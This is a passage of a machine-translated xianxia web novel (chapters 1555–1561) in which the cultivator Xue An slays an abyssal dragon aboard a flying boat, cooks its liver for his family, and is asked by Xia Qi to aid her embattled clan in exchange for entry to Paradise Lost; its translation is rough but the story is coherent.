    This Boss Liu followed his gaze and looked at it carefully.


    Well, the two of them really didn''t say anything nonsense. Although this young man looks good, he is really mediocre!


    Hey, if that''s the case, then I can be regarded as catching a fat sheep this time!


    Boss Liu became more excited as he thought about it.


    Xue An, who was drinking tea with his head down, could not help but raised his head and took a look at this side.


    Boss Liu shuddered slightly and hurriedly turned his head, but in his heart he was thinking about what to do next.


    It''s definitely impossible to rob it with fanfare, and it''s best to think of a way to get this young man to offer things up.


    Because in the cognition of Boss Liu, the ordinary children of these schools are usually wine bags and rice bags, and they may be honest if they are scared a little.


    Ok!


    Just do it!


    Boss Liu secretly made up his mind.


    But he didn''t notice, Xue An was looking at them at the moment, and a faint smile slowly appeared at the corner of his mouth.


    This small dinner party was organized by the captain of the flying boat, and its purpose was to get closer to these first-class passengers.


    So when the banquet was just halfway through, a middle-aged man wearing a black uniform and an extraordinary demeanor walked in.


    After seeing him, many guests stood up and welcomed him.


    The middle-aged man waved his hand and said with a smile on his face: "As the captain of this flying boat, I am very grateful to everyone for their trust and support, so this cup is my respect to everyone!"


    After all, he picked up a wine glass and drank all the wine in it.


    There was a round of applause from the audience, and the atmosphere became enthusiastic.


    Then the captain walked into the crowd with a smile on his face and greeted people.


    However, compared to the fresh faces that appeared for the first time, the captain obviously gave more attention to the regular customers.


    For example, when he saw Xia Qi not far away, there was a light in front of him, and then he walked up quickly and said respectfully: "It turns out that it is Miss Xia, are you going back to Wuwangya?"


    As a frequent passenger on this ship, Xia Qi naturally recognized the captain, so she smiled and nodded.


    "Yes! I went out to do something, and I''m about to return home!"


    The captain exclaimed, "Miss Xia is really beautiful, she has become a pillar of the family at a young age!"


    "You are so kind!"


    "Hey, I''m not admiring you. Now Wu Wangya doesn''t know your name, Miss Xia!" The captain said with a smile.


    The atmosphere on the deck became more heated.


    At this moment, this elder Liu led several of his men to approach Xue An.


    "My friend, are you alone drinking here?" There was a hypocritical smile on Liu''s face.


    Xue An was noncommittal, did not even look up at these people, but quietly stared at the tea cup on the table.


    Boss Liu frowned slightly when he saw this, but immediately coughed a few times, "My friend, I have a few words to say to you, but it''s not very convenient here. Why don''t we go outside the restaurant and talk about it?"


    Xue An still didn''t say a word, and the tea in the tea cup was rippling faintly.


    The atmosphere suddenly became a bit awkward.


    At this moment, the triangular eyes were a little uncontrollable, they took a few steps forward and said coldly: "Boy, our boss is talking to you, you..."


    The words were not finished, because at this moment, Xue An suddenly raised his head and glanced at him coldly.


    It was just this glance that made this triangular eye freeze in place instantly like a fallen ice cellar.


    Then Xue An cast his gaze on the faint defensive light curtain above the deck, and said lightly: "Come!"


    coming?


    What''s coming?


    Because he was standing relatively back, Boss Liu didn''t notice that the triangular eyes were pale and stiff at the moment.


    He looked at Xue An''s gaze with suspicion, but found that there was nothing unusual except for a light curtain emitting a faint glow, and the darkness was as calm as ever.


    Damn, is this guy playing mystery? Boss Liu was angry and turned his head to say something when the deck under his feet suddenly began to tremble.


    This tremor was not too great, but it also made the singing and dancing banquet hall instantly quiet.


    The captain who was talking and laughing with a bunch of people was naturally startled, but at this moment, the tremor suddenly disappeared.


    The captain''s complexion relaxed, and then he laughed loudly, "Don''t worry, everyone, there should have been some turbulence in time and space, but now it has passed, so everything is back to normal!"


    The people who were already nervous did they relax after hearing this.


    But Xia Qi noticed something wrong.


    She is not one of those newcomers who have been on this ship for the first time, so she naturally knows what it is like to encounter the turbulence of time and space.


    But the tremor just now was obviously a bit unusual.


    What exactly happened?


    Xia Qi looked up at the darkness beyond the light curtain with a puzzled face.


    Realizing her surprise, the captain couldn''t help but smiled and said: "Miss Xia seems to be frightened, but you don''t have to worry about it, because it''s not me who praised the sea. Our giant ship is invincible absolutely not. Something..."


    As if to respond to his words, as soon as his voice fell, the hull that had just calmed down suddenly began to tremble again.


    Moreover, the magnitude of the shock this time was so great that it directly knocked down many people who were not prepared.


    As for the tables and chairs, they fell to the ground.


    In this case, everyone''s complexion changed.


    The captain, who had previously vowed that nothing would happen, was pale on the water, and got up and wanted to run to the control room.


    But everything is too late.


    At this moment, someone shouted desperately: "Look what''s outside!"


    Everyone looked up.


    But in the darkness behind the light curtain, a huge body slowly emerged, and when its huge head appeared in front of everyone, everyone was stupid.


    Because what appeared in front of him was a giant dragon.

 Chapter 1556： 1 hit dragon

    This huge dragon is completely dark, and the huge dragon head is engraved with a pair of eyes that emit dark light, and it is staring at the people on the deck with extremely cold.


    "My slot, how come there are dragons here?" The boss Liu was also frightened and roared tremblingly.


    Not only him, everyone''s complexion changed.


    Because no one expected to encounter a giant dragon here.


    Xia Qi''s complexion was extremely ugly, and she shouted at the pale-faced captain: "What the **** is going on here? Why is there a giant dragon here?"


    The captain had already lost his former energy at this moment. He was shaking like a sifting chaff, and he muttered in despair: "Yes...it is the abyssal dragon! They usually sleep in this dark sea, but this time I don''t know why, they actually wake up!"


    Abyssal Dragon.


    Hearing this name, everyone''s hearts gradually sank into the bottomless abyss.


    Because in the sea of ??darkness this is synonymous with terror and despair.


    No one can retreat completely after seeing this abyssal dragon.


    Even if your strength is far better than it, it won''t work, because this dark sea is their home field!


    "What should I do? Are we all going to die here?" Boss Liu had already been unaware of robbery at this time, and shouted unwillingly.


    "I don''t know, but looking at the look of this magic dragon, it seems that I am not ready to continue to do it, and if it is willing to let us go, then we will still have a ray of life!" The captain dared not move, and tremblingly said. Tao.


    But as soon as his words fell, he saw this abyssal dragon suspended in the darkness, and a sly and cruel color appeared in his eyes, and then he suddenly opened his mouth and spit out a cloud of black light.


    As soon as the black light appeared, it directly hit the light curtain.


    With a loud bang, the entire flying boat was hit and flew hundreds of feet away by this huge force.


    As for the people on the deck, they were even more shaken, and the light curtain quickly dimmed, and it was obviously unable to withstand the next wave of impact.


    Everyone looked desperate.


    But at this moment, a light sigh came from the corner.


    "Unexpectedly, I haven''t seen each other for many years, you long insects have multiplied so much!"


    Hearing this voice, the audience fell silent, and then turned their heads to look around.


    But seeing Xue An slowly standing up, looking up at the abyssal dragon, he smiled coldly, "But you are here at the right time. It just so happens that I have some desire to eat dragon liver recently, so let''s get an operation! "


    The audience was silent.


    Boss Liu''s mouth gradually opened up, and suddenly he regretted the idea that he shouldn''t hit the boy in white before.


    Because looking like this, this young man in white clearly has some problems in his mind!


    As for Xia Qi, she also looked at Xue An dumbfounded, with various question marks in her mind.


    However, the IQ of this abyssal dragon is obviously not low, at least it understands Xue An''s words.


    It was so angry that its huge body hovered in the air, and then viciously blasted towards the light curtain, wanting to smash this hateful human youth into powder.


    This blow also made many cowardly screams of despair.


    But at this moment, Xue An showed a sneer.


    "It seems that I have been away for a long time, and even a little loach dare to be rude to me. Well, then I will send you on the road!"


    Following the voice, I saw Xue An raising his feet and stepping on the void, straight to the abyss dragon that was blasting toward the giant ship.


    The two are extremely fast, almost a flash of effort, and they collided in mid-air.


    Boom!


    It was a loud and dull noise, and everyone''s hearts stopped beating for a while.


    Then a shocking scene appeared in front of everyone.


    But seeing this abyssal dragon groaned in pain, then it was directly knocked out.


    And in the midair, only the figure of the white-clothed boy was left.


    Everyone''s eyes opened to the limit, and there was only one thought left in their minds, fog grass, how could this be possible!


    Although the Abyssal Demon Dragon is a dragon bloodline that has been polluted by the Abyssal Demon Qi, it is also a dragon after all!


    But as long as it is a dragon, the strength is not too bad, especially here is the sea of ??darkness, the absolute home of the abyssal dragon.


    But this young man in white actually shook the magic dragon flying out with only physical power.


    This is as shocking as an ant blasted an elephant out.


    At the same time, this abyssal dragon looked at Xue An with eyes full of disbelief. The body that was hidden in the darkness trembled slightly, and it was obviously injured.


    In its memory, it had never suffered such a big loss in the hands of the human race, so it couldn''t help becoming more and more jealous of Xue An, and then quietly moved back, as if it was ready to evacuate.


    Seeing this scene, many people secretly breathed a sigh of relief.


    Anyway, as long as this abyssal dragon can retreat!


    But Xue An obviously didn''t plan to just let this abyssal dragon go.


    I saw that he looked at this dragon with interest a few times, and then smiled faintly.


    "Well, it looks quite fat, and the taste of dragon liver should also be good!"


    Hearing these words, the magic dragon''s heart was shocked, and a great sense of crisis suddenly surged into his heart, which made him wipe his head and ran away without hesitation.


    "Run? Do you think you can still run?" Xue An smiled coldly, flashed into the darkness, and rushed directly into the darkness.


    "Don''t..." Xia Qi was taken aback, and wanted to stop him after shouting, but as soon as he shouted a word, Xue An''s figure had disappeared.


    This made Xia Qi stomped a bit helplessly, "It''s so reckless, how can I catch up with you? That''s the sea of ??darkness!"


    But at this moment, a scream of the magic dragon came from the sea of ??darkness.


    Immediately afterwards, I saw that the dragon that had fled before suddenly rushed out of the darkness, twisting in a crazy shape, as if struggling to escape something.


    But everything was in vain But seeing Xue An standing on the dragon neck of this dragon, he was punching down.


    Every punch will splash countless blood, and at the same time it will make this magic dragon tremble and howl.


    This scene full of violent beauty shocked everyone''s eyes.


    Boss Liu stared at this scene blankly, and then said with a groan-like tone to the same pale-faced two of his subordinates: "Is this what the **** you call mediocre aura?"


    Triangular eyes and pointed mouth monkey cheeks trembled all over, and they couldn''t even speak.


    At this moment, but seeing Xue An raising his fist in his hand, he said lightly: "You asked for this, don''t blame me!"


    After all, he slammed his punch.


    This punch directly penetrated the dragon''s neck of the magic dragon, blood sprayed out from the other end, and Xue An''s arm was deep in it.


    This magic dragon was in extreme pain, struggling crazily in the air, and let out roars begging for mercy.

 Chapter 1557： Dragon Blood Orb

    But Xue An didn''t move at all, he saw his arm forcefully and slowly pulled out from the dragon''s neck, and the blood he brought out sprayed down, just like a rain of blood.


    at last.


    Xue An''s hand was completely pulled out, and there was a white thing in his palm, which was the dragon tendons.


    Then Xue An suddenly mentioned it up.


    puff!


    After a muffled sound, a whole white dragon tendon was pulled out by Xue An from the body of the dragon.


    The dragon struggled a few times at the end, and then completely lost its strength, fell from the air like a puddle of mud, and landed on the deck of the giant ship, shaking the entire giant ship.


    No one dared to speak, because the extremely violent scene just now scared everyone into a fool.


    In fact, there are many ruthless people from all sides in the audience, but even these lawless men are all shocked at this moment.


    They have seen a lot of people fighting fiercely, but like Xue An, who slays dragons on their own, they have never seen it.


    Don''t tell me, I haven''t even heard of it.


    Boss Liu and his two subordinates stared at the dying dragon on the deck, with only the last breath, and suddenly they all shuddered.


    Then Old Dao Liu furiously patted the head of the triangular eyes and pointed monkey cheeks.


    "You two almost killed me, do you know?"


    The two were stunned, but they didn''t even dare to hum, they could only say tremblingly, "Old...Boss, what shall we do now?"


    "What to do? How do I know what to do?"


    "Or... let''s escape now!" Triangle said.


    "Good idea!" Boss Liu gave a thumbs up, but before Triangle Eye could speak, he lifted his foot and kicked on the Triangle Eye''s ass.


    "Escape? It''s all in the same boat, where are you going to escape? The Dark Sea?"


    "What should I do?" Triangular eyes almost cried.


    Boss Liu swallowed hardly, and raised his head in infinite awe to look at Xue An standing in the void, "There is only one way now. I will look at me for a while! No mistake, understand?"


    "Hmm!" At this time, how could the triangular eyes and sharp-mouthed monkey cheeks dare to disagree, nodding like a rattle, for fear of annoying the boss again.


    At this moment, Xue An stood in the void, bowed his head and weighed the dragon tendons in his hand a few times, smiled slightly, then waved a few times, raised his eyes to look into the darkness, and said coldly.


    "I know you want revenge, but this is just a small lesson. If anyone dares to disturb me, I don''t mind using the dragon tendons of you dragons to weave a mat, understand?"


    There was silence in the depths of the darkness, but then people felt that many things seemed to be moving away quietly in the darkness.


    In an instant, everything returned to calm.


    Xue An sneered coldly, then turned around and returned to the deck.


    At the same time, the dragon swallowed its last breath and died.


    And Xue An''s landing also shocked everyone, and even those who were close to him were rushing back at this moment.


    Xue An didn''t care about these at all. Instead, he stepped to the front of the magic dragon, and with a wave of his hand, he incorporated the dragon into the mustard seed ring.


    This scene made many people''s eyelids jump.


    A mustard ring that can hold things is not uncommon, but a mustard ring that can hold a dragon like Xue An is too rare.


    It can be said to be invaluable.


    Rich, capable, and young!


    The superimposition of these auras made Xue An even more mysterious in the eyes of many people.


    Of course, Xue An could feel what everyone was thinking, but he just smiled, then his eyes flowed, and he looked at the three of Liu Boss not far away.


    The Boss Liu trembled all over, and immediately took a few steps forward, plopped and fell to his knees, and no matter what else, he banged his head several times.


    As for the two triangular eyes and pointed mouth monkey cheeks, they naturally did the same, knelt on the ground and kowtowed at Xue An.


    Then Boss Liu raised his head flatly, "My lord, please forgive me!"


    "Spare?" Xue An smiled faintly, "I remember you said before that you wanted me to go outside, saying that you had a few words to tell me, why suddenly you want me to spare?"


    Boss Liu said without hesitation: "My lord, at that time, I was covered with lard and thought about robbing you. I was wrong. Please forgive me!"


    As he said, there were a few more bangs.


    Xue An naturally didn''t bother to care about such things.


    Although he has always been relentless to bad people, this is a dark place. If you really want to pick faults, then almost everyone on the scene should be killed.


    So he just smiled, and then nodded.


    "Robbery me? I have to say, your idea is really imaginative!"


    Boss Liu gave a wry smile and just wanted to explain something.


    Xue An has already turned around and said indifferently: "I will let you go this time, and the next time, be careful of your heads!"


    "Yes!" Boss Liu and the three were overjoyed, and banged their heads a few times, and when they raised their heads, Xue An was long gone.


    They let out a sigh of relief, then stood up and ran away dingy.


    The whole audience was still silent.


    It wasn''t until a long time later that the captain whispered in an awe-inspiring tone: "Gosh, I finally believe in a miracle!"


    No one answered, Xia Qi was staring at the direction Xue An was leaving, her eyes flickering, she didn''t know what she was thinking.


    Of course Xue An didn''t have time to pay attention to this. After returning to his cabin, he went straight back to the Fu Bao Xiaolou.


    "Husband? What''s the matter?" An Yan didn''t expect Xue An to appear suddenly, and was a little surprised.


    Xue An smiled, "It''s nothing, but there is something special for Xiaosha!"


    "Xiaosha?"


    Xue An nodded.


    Zhang Xiaoyu leaned over immediately, staring at Xue An with piercing eyes, "Sir, what''s wrong with Xiaosha? Are you awake?"


    "Of course not so fast but this thing should help her a bit!"


    With that, Xue An took out a bead that radiated blood.


    "this is����."


    "Dragon Ball!" Xue An said.


    "Dragon Ball?"


    "Yes, to be exact, it is a blood bead of a magic dragon, which contains all the life essence of a magic dragon, which should be of great help to Xiaosha!"


    really.


    When this dragon ball was placed on Xiaosha''s eggshell, the dragon ball quickly merged into Xiaosha''s dome like melting snow.


    In an instant.


    The light of blood completely enveloped Xiaosha''s dome.


    Under this powerful life call, finally, a slight, but very clear heartbeat came from the eggshell.

 Chapter 1558： Kill the grass

    Zhang Xiaoyu''s eyes gradually widened, and his whole body was trembling slightly with excitement, "Big...sir, Master Xiaosha, is this going to wake up?"


    Xue An shook his head, "No! This is just a vision created by the surging vitality of the Devil Dragon Blood Orb, it''s not really waking up!"


    really.


    When this faint blood light gradually dissipated, the heartbeat in the dome also ceased.


    Zhang Xiaoyu looked disappointed, "It turns out that it is, I thought... I thought Master Xiaosha was about to wake up!"


    Xue An sighed when she saw it, and then patted her shoulder, "Little fish, don''t worry, I promise you that I will go to the ancestral land of the dragon family in a short time and lend the dragon sage to the old guys. Wu Wanlong Po is here to revive Xiaosha!"


    When Zhang Xiaoyu heard that his nose was sour, he almost burst into tears with excitement, and nodded heavily, "Hmm!"


    At this moment, Huying stepped forward to look at Xiaosha''s dome, and suddenly said in a little surprised: "Look at it, is this dome a little bigger than before?"


    Hearing this, Zhang Xiaoyu rushed up immediately, and took a closer look around the giant egg, then his face showed excitement.


    "That''s true, Master Xiaosha''s dome has actually grown bigger..."


    "Husband, what is going on?" An Yan was also a little strange.


    Xue An smiled slightly, "Didn''t I say that before, although this magic dragon blood bead won''t wake up Xiaosha, it will help her a lot!"


    "After all, that little dragon ball contains all the vitality of a magic dragon. For Xiaosha, it is like a supreme tonic, which can strengthen his own blood origin. In this case, It''s reasonable to get bigger."


    Hearing Xue An''s explanation, Zhang Xiaoyu suddenly thought of something, and said eagerly: "My lord, if we can catch a few more dragons, wouldn''t the effect be better?"


    Xue An smiled, "What? Are you planning to wipe out all the Devil Dragon clan?"


    Zhang Xiaoyu blushed, lowered his head and ate Ai Ai and said, "I... I just think about it..."


    "In fact, what you think is not unreasonable!" Xue An said suddenly.


    Zhang Xiaoyu suddenly raised his head, looking at Xue An with some surprise.


    Xue An smiled, "To be honest, I really thought about it at that time, but these dragons are not prey to be slaughtered, and the sea of ??darkness is too large, it is impossible to search the entire territory alone. , So if you act rashly, you will definitely be surprised!"


    "Oh! So it''s like this!" Zhang Xiaoyu''s buns were full of solemn expressions, and he nodded solemnly, but Xuan even said with some confusion: "But my lord, I think this should be called Da Cao Jing Dragon!"


    Xue An couldn''t help being amused when he heard the words, raised his hand and patted her little head, "You! What a live treasure!"


    Zhang Xiaoyu laughed happily.


    Then Xue An whispered softly: "Although this group of magic dragons have been spared for various reasons this time, it is not without a chance."


    "What opportunity?" Zhang Xiaoyu lifted up.


    "Oh, nothing, I just guessed like that!" Xue An smiled, but a thought flashed through his mind.


    If these long-horned worms can''t open their eyes, it is really possible to catch them all!


    Next, a cauldron was erected on the open space of Fu Bao Xiaolou.


    Don''t look at this dark cauldron, it is very inconspicuous, in fact this is the treasure that Xue An searched out from Li Hentianjun.


    Not only can it start a fire on its own, and cook everything, it also has the magical function of enhancing the effectiveness of the ingredients without destroying the original taste of the food.


    Based on these few points alone, this cauldron can be called an artifact.


    Immediately afterwards, Xue An took out the dragon liver of the magic dragon by himself.


    As for the other parts, because the vitality has been absorbed by the dragon ball, they have lost their flavor, and Xue An simply threw them all into the sea.


    I have to say here that the Fubao Xiaolou has been continuously evolving since obtaining the runes in the Sea of ??Punishment.


    Therefore, the area of ??Fubao Xiaolou now has tens of thousands of square kilometers, including mountain basins, hilly plains, ocean lakes and various terrains.


    And in the sea, there are still those giant ocean beasts that were acquired together in the sea of ??punishment.


    These giant ocean beasts have grown to their fullest in this world. In just a few years, their strength has actually improved.


    And when Xue An threw the corpse of the dragon into the ocean, these giant ocean beasts all boiled.


    Although the vitality of the corpse of the magic dragon has dissipated, it is also a dragon species after all, especially for marine life, this temptation is simply irresistible.


    So after a frantic snatch, the corpse of the dragon became the food in the belly of these giant ocean beasts.


    Immediately afterwards, these behemoths of the sea that had eaten and drank respectfully circled Xue An, then sank to the bottom of the sea and began to digest the gains this time.


    Xue An smiled slightly, and suddenly began to look forward to what the world would become if Fu Bao Xiaolou kept evolving like this.


    Could it be a world of its own?


    With these thoughts in mind, Xue An returned to the small building before.


    At this time, the two little girls had finished their homework for the day, and they were chatting around the huge dragon liver on the table.


    "Wow, sister, what is this?" Nian Nian asked with bright eyes.


    "It seems to be the liver of some kind of creature, but what kind of creature has such a big liver?" After thinking about looking at it for a long time, he said with some confusion.


    "Liver? Is it the same as pig liver? Wouldn''t it be edible? Does it taste good?" Nian-nian asked again for the life-threatening diet.


    Xue Angang showed up Hearing this, he couldn''t help but say, "Of course it can be eaten, and it will be delicious!"


    "Huh! It''s Dad!" When the two little girls saw Xue An showing up, they ran over immediately.


    Xue An picked them up one by one, and then said with a smile: "This is dragon liver, I''ll make it for you later, okay?"


    "Wow, dragon liver! But Dad, isn''t the dragon liver that we ate when we were on earth not so big?"


    Never mind that Nian Nian Ji can''t remember other things, but as long as you have eaten something, Nian Nian will never forget it for the rest of your life.


    Xue An laughed, "Yes! But the dragon on the earth was too thin at the time, and the cultivation base was too bad. Naturally, the dragon liver without this magic dragon is fat and delicious!"


    After speaking, Xue An put down the two little girls and began to cook this piece of dragon liver earnestly.


    Xue An''s culinary skills are the same as his original cultivation skills, which can be described as unique in the world.


    Only few people can really taste his craftsmanship.

 Chapter 1559： See you only 1 thing

    When he was on the earth before, Xue An had cooked many times, but they were all cooked with ordinary ingredients. No matter how good the cooking, there would be a great lack of taste.


    This time it was different.


    Even if the dragon liver of this magic dragon is placed in the heavens, it is considered a good thing.


    In addition, Xue An had looted all of Li Hentian''s inventory before, and it was actually used as a super seasoning on the kitchen.


    With the blessing of the two phases, the dragon liver cooked by Xue An this time is half of the previous level.


    What does this level mean?


    That is, before Xue An finished cooking, the aroma had spread throughout the entire Fubao Xiaolou.


    On the open space, there was a group of people squatting.


    Among them, not only the two little girls, An Yan, Hu Ying, and Zhang Xiaoyu also came together, and then looked at the steaming stove.


    After a long time, An Yan couldn''t help swallowing, and his eyes glowed and said, "My husband...When will you be familiar with this?"


    "It will be fine soon! Why? Anxious?" Xue An asked with a smile.


    "A little bit! The key is that the smell is too fragrant!" An Yan said in amazement, and it seemed that she was about to drool.


    "Haha! I''ve been a little puzzled before, why I am not greedy, but have this foodie daughter Niannian, now it seems that the reason lies with you!"


    Xue An said with a smile, and gently pinched An Yan''s nose.


    An Yan snorted.


    Hu Ying turned her head in embarrassment on the side, and coughed slightly, "Cough cough, pay attention, I miss you all here!"


    An Yan''s face turned red, and she glanced at her two daughters secretly.


    But I saw these two little girls squatting next to them, looking at the stove with a pious expression, not paying attention to what was happening around them.


    An Yan took a breath, and then gave Xue An a vicious look.


    Xue An smiled, turned his head to look at the stove, and then nodded, "Okay! The heat is almost there, let''s start eating!"


    The two little girls jumped up from the ground when they heard this, especially Nian Nian, they were almost crazy.


    "Oh my God, I can finally eat! Don''t grab anyone! Leave me alone!"


    At this moment, a chubby koi suddenly surpassed Nian Nian at a very fast speed, and then rushed directly into the hot pot.


    The audience quieted down instantly.


    Xue An couldn''t help raising his eyebrows slightly.


    "Husband, this koi can''t..." An Yan just wanted to say something.


    But in that pot, the koi floated up comfortably, but at this time, its belly became swollen, and then it burped very contentedly, obviously already full of food and drink.


    Everyone was relieved now.


    Only Nian Nian yelled with infinite resentment: "You big fat fish actually robbed me in front of me to eat it again!"


    Just when there was a lively gathering in the Fubao Xiaolou.


    In the flying boat, Xia Qi was standing outside Xue An''s cabin, waiting quietly.


    She has been waiting like this for a long time.


    In fact, after returning from the banquet, she came outside the cabin where Xue An lived, and wanted to see Xue An.


    "Miss, it seems that this adult should have fallen asleep, and will not come out in a short time, or I will be waiting here, you can go back and rest!" the middle-aged man whispered.


    Xia Qi shook her head, "No, and if I personally wait here, I can show the sincerity of our Xia family!"


    "But..." The middle-aged man wanted to say something.


    Xia Qi said indifferently: "Stop talking, do you think that with the strength of this adult, once off the ship, how many families will recruit at any cost? By then, what chance will our Xia family have?"


    Hearing what Xia Qi said, the middle-aged man swallowed all the words behind, and then nodded helplessly, "What the lady said!"


    "Before I saw it, I thought this adult was just an ordinary monk, so I just recruited it briefly, and almost missed the opportunity. Fortunately, it is not too late, and there is still a chance to make up! Especially now Feizhou There are no people from other families above it. This will be a once-in-a-lifetime opportunity for our Xia family. If we can''t grasp it now...then there will be no chance!" Xia Qi said lightly.


    Cold sweat came out on the middle-aged man''s forehead, and his head was buried lower.


    The whole night passed.


    By the next day, Xue An had just returned from the Fubao Xiaolou, and then he noticed the strangeness outside. He was taken aback for a moment, and then smiled faintly.


    "Come in, the door is unlocked!"


    When the sound reached outside, Xia Qi took a deep breath before pushing the door into the room.


    "My lord!" Xia Qi bowed to Xue An very respectfully.


    Xue An was noncommittal, glanced at Xia Qi, and then said lightly: "Let''s say, I have been waiting outside for so long to see me, what is the matter?"


    Xia Qi solemnly said: "My lord, please forgive me for my neglect of you before. I really didn''t expect you to be such a strong man..."


    Xue An waved his hand, "If you come to see me just to say these things, then stop saying it!"


    Xia Qi was silent for a while, then raised her head and said in a solemn voice: "My lord, there is only one thing I can see from you, that is, I hope you can become the guest of my Xia family..."


    Xue An raised his eyebrows slightly, "I think I understand enough what I told you before, and I have no interest in your families or gangs! So... I''m sorry!"


    After all, Xue An lowered his head and started to make tea at a leisurely pace. The meaning of chasing customers was already obvious.


    Xia Qi stood there, with a very complicated look in her eyes, but immediately she took a deep breath and said slowly: "Sir, of course I know you are not interested in these, but my Xia family can give you Remuneration!"


    "Remuneration, hehe do you think..."


    Before Xue An could finish the following words, Xia Qi preemptively said: "What if the reward is to enter Paradise Lost?"


    The atmosphere in the room suddenly became stagnant, Xue An suddenly raised his eyes, squinted his eyes slightly, and quietly looked at the terrifying young girl in front of him who was pale but had bright eyes.


    After a long time, Xue An lowered his eyes and said leisurely: "How did you know that I was going to Paradise Lost?"


    Xia Qi sighed secretly when she heard this. In fact, she had been thinking about this conjecture for a long time.


    Fortunately, I bet right!


    So she said seriously: "It''s very simple, because with your strength and wealth, you obviously don''t look down on a city like Wuwangya, so you should have only one purpose for coming here, and that is to enter the Lost Paradise!"


    Xue looked at Xia Qi quietly, and finally nodded with a smile, "Yes, I really want to enter Paradise Lost! So..."


    Xue An sat up straight and looked at Xia Qi with dazzling eyes, "What do you mean by the reward you just said?"

 Chapter 1560： Xia Family Crisis

    Xia Qi heard this for a moment, and then said softly: "My lord, I think you don''t know the rules of the dark paradise lost now!"


    "Rules? What rules?" Xue An asked with interest.


    "It''s very simple. The true darkness of Paradise Lost will only be opened once every ten years, and it will not only require strong strength, but also connections and various relationships to enter it!"


    "Oh? I have never heard of it!" Xue An said lightly.


    Xia Qi smiled bitterly, "Of course you have not heard of it. In fact, this rule has not been established for too long, because in recent years more and more people have gone to the dark paradise lost, and the real paradise lost started from the very beginning. There is no threshold, it becomes what it is now!"


    Speaking of this, Xia Qi''s expression became awe-inspiring, "And our Xia family happens to have a quota for entering Paradise Lost."


    "So as long as you agree to be the guest of our Xia family, then our Xia family will do their best to help you enter the Lost Paradise!"


    After all, Xia Qi looked at Xue An, feeling very nervous.


    An inexplicable brilliance flashed in Xue An''s eyes, and then said with a smile but a smile: "It sounds very good, but what do you want me to do for you? After all, just a guest, it''s not worth your effort. Such a big price!"


    Hearing what Xue An said, Xia Qi was silent for a while, and finally smiled bitterly, "My lord, since you have asked so, then I will tell you the truth! The current situation of our Xia family... is very difficult."


    Next, through Xia Qi''s difficult narrative, Xue An finally understood what was going on.


    There will be disputes where there are people, not to mention that in this dark place, the competition between the various forces has become fierce.


    Every day, countless gangs or families become history, and new forces will rise on their corpses.


    This cruel dispute repeats itself, just like reincarnation.


    Naturally, the Xia family where Xia Qi is located is no exception. Even because of Wuwangya''s aggressive terrain, the struggle here is more fierce than other cities.


    The Xia family''s ability to stand in such a place naturally has its merits.


    In fact, the Xia family has always been firmly occupied among the top ten forces in Wuwangya.


    This is why Xia Qi was so proud of her family before.


    But recently, the situation has suddenly changed.


    The rival of the Xia Family, the Zhang Family, whose strength was comparable to him, did not know where to recruit a few cultivators with outstanding cultivation.


    Under this circumstance, the originally fragile balance was instantly broken, and the Zhang family''s power began to expand rapidly.


    And the first to bear the brunt was the Xia family whose sphere of influence was immediately adjacent to it.


    At the beginning, the Xia family didn''t care too much, after all, they didn''t fight once with the Zhang family.


    But this time, everyone in the Xia family was wrong.


    Under the leadership of these cultivators, the members of the Zhang family almost crushed the Xia family''s defenses.


    The Xia family was all stunned at the time. When the reaction came back, his own power category had already fallen one after another, and in a blink of an eye only half was left.


    In this situation, the Xia family immediately organized all forces to start a counterattack.


    But helplessly, under the strong suppression of those monks, these counterattacks almost all failed.


    Next came the darkest moment of the Xia family.


    Without effective means to contain those cultivators, the Xia family almost retreated steadily.


    In the end, relying on the crazy pile of resources and fighting with fate can barely gain a foothold.


    But at this time the strength of the Xia family had been severely damaged, let alone counterattack, and could barely maintain it from being completely defeated.


    Xia Qi was also in danger because of this, trying to find a helping hand outside the dark territory.


    But the result was nothing, and he had no choice but to return.


    Xia Qi, who was already desperate, didn''t see a glimmer of hope until she met Xue An, who was slaying the dragon alone.


    That''s why she eagerly wanted to invite Xue An to be the guest of Xia''s family.


    There is only one purpose.


    That is to enhance the strength of the family as much as possible to fight against the aggressive Zhang family.


    After listening to Xia Qi''s narration, Xue Jingjing was silent, but looked at Xia Qi quietly.


    Xia Qi''s heart became more and more nervous when she was seen, and she couldn''t help whispering: "My lord, you..."


    Xue An waved her hand and interrupted her, "I have a question. Since this is the case, why do you invite me to your Xia house before I show my strength? What is this intention?"


    Hearing Xue An��s question, Xia Qi blushed and said to Ai Ai, "Because...because."


    Then Xia Qi gritted her teeth abruptly and made up her mind to say: "Because I saw adults act generously and at the same time have extraordinary bearing, I think you should be no ordinary person, so I want to invite you to my house if I have the following consciousness!


    "After all, even if our Xia family''s strength is damaged, it is considered a powerful one in Wuwangya!"


    Xue An took a deep look at Xia Qi after hearing the words, then nodded, "Such words...it makes sense!"


    Xia Qi let out a sigh of relief when she realized that her back was wet with cold sweat.


    Of course she would not tell her true inner thoughts, after all, it was too difficult for a girl to express.


    "Then are you willing?" Xia Qi said cautiously.


    "Let''s leave it alone, to be honest, I''m really curious what kind of monk can make you like this!" Xue An asked with interest.


    After hearing this, Xia Qi''s expression changed, and after a long time she said with great difficulty: "I don''t know how to describe it to you, but these monks are absolutely different from ordinary monks because..."


    Hesitation and panic appeared in Xia Qi''s eyes, "Because the strength they showed was simply terrifying, and they didn''t even use any fancy tricks from the beginning to the end. They only suppressed our Xia family with physical strength. No one can look up!"


    "Oh?" Xue An raised his eyebrows slightly after hearing the wordsPhysical power? "


    Xia Qi took a deep breath, "Yes, I have seen with my own eyes that a quasi-Romanian powerhouse has not even managed a move of these cultivators, he was directly blasted into serious injuries, and almost died on the spot! And this so-called move is just a punch!"


    After speaking, Xia Qi secretly looked at Xue An.


    In fact, she didn''t know whether she was right or wrong in saying this.


    If you follow common sense, you should try to avoid this topic.


    After all, such news is too shocking, and normal people will understand how to choose as long as they weigh the pros and cons.


    But Xia Qi finally decided not to hide any details.


    Because if Xue An was allowed to join the Xia family by deception, Xia Qi herself felt that she couldn''t pass the conscience barrier.


    At this time, Xue An lowered his head and became silent.


    Xia Qi''s heart also gradually sank to the bottom.

 Chapter 1561： The most difficult repair school in the world, physical repair!

    Until a long time later, she seemed to understand something, she couldn''t help standing up, and said very sadly: "Sorry, it seems I interrupted!"


    After that, she turned around and left.


    But at this moment, a calm voice sounded from behind her.


    "You said before that Paradise Lost will only open once in ten years, so how long will it be until the next opening?"


    Hearing this question, Xia Qi became stiff. Even if she turned around, she tremblingly said, "Soon, actually another month will be the opening period, so the talents who have traveled to this dark territory recently There will be so many!"


